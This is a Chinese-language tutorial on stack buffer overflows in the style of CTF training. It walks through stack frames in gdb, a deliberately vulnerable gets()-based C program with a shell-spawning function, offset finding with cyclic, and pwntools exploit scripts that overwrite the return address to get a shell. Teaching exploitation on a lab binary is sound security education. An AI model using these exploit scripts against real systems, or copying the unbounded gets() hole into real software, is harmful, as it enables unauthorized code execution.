- 熟悉栈溢出的原理
- 熟悉栈溢出的防御方法
- 学会栈溢出的利用方法
- 学会栈溢出的奇技淫巧
栈溢出原理和防御(一)
栈的高地址在下低地址在上,先进入的数据压入栈底。
例如
#include <stdio.h>
int add(int a,int b)
{
return a+b;
}
int main()
{
int a=4;
int b=5;
int sum;
sum=add(a,b);
printf("sum: %d\n",sum);
return 0;
}
gdb调试到push操作esp会减少4,ebp不变,只改变栈顶。
pop ebp
后esp增加4,ebp会变为刚才esp指向的值
主要点
1.栈中
2.超出长度
例子
#include <stdio.h>
void pwnme()
{
system("/bin/sh");
}
int main()
{
char buf[10];
gets(buf);
printf("%s\n",buf);
return 0;
}
gdb到输入,输入8个1
x/20gx 0x7fffffffdfc0
查看输入
31313131就是输入的1的ascii码
运行到ret后,返回会main函数,
返回会地址为0x7ffff7a5a2e1;
进入栈顶esp看看
x/20gx 0x7fffffffcb38
可以看到返回地址储存在
0x7fffffffcb38地址中,
在向上看看
x/20gx 0x7fffffffcb38-16*2
刚才输入的数据在
0x7fffffffcb18和0x7ffffffffcb28中,再后面就是函数返回地址了。
gets函数可以无限写入,把前面注满,就到了存储返回地址的地址,就可以改变返回地址。
输入20个1后,查看栈
把返回地址覆盖了。
pwntools使用
使用基本框架
from pwn import *
#p= process("./pwn")
p=remote("127.0.0.1",1234)
payload=b"a"*120+p64(0x601020)
p.sendline(payload)
p.interactive()
函数返回地址为0x00007ffff7003131
后面的3131就是输入1的填充结果,如果我们把这个地址填充成void pwnme()
的地址,就可拿到shell了。
可以看到,他会提示你该返回地址不存在。
要想修改返回地址,就要知道要溢出多少个字节。
用到工具cyclic
cyclic 50
会生成长度为50的串。
我们把它输入到程序,可以看到地址被修改
然后我们取后吧个字节就是16进制中的16个数,这里为6164616161616161
然后工具输入就可以计算需要覆盖多少字节
cyclic -l 0x6164616161616161
#18
说明需要18个字节
cyclic 18
输入
aaaaaaaabaaaaaaaca11111111
结果
成功覆盖。
找到pwnme函数地址
p pwnme
exp
from pwn import *
p=process("./stack_overflow")
payload=b"a"*18+p64(0x400586)
#64位程序用p64,32位用p32
p.sendline(payload)
p.interactive()
运行得到shell
注意:Ubuntu18.04 64位 和 部分Ubuntu16.04 64位 调用system的时候,rsp的最低字节必须为0x00(栈以16字节对齐),否则无法运行system指令。要解决这个问题,只要将返回地址设置为跳过函数开头的push rbp就可以了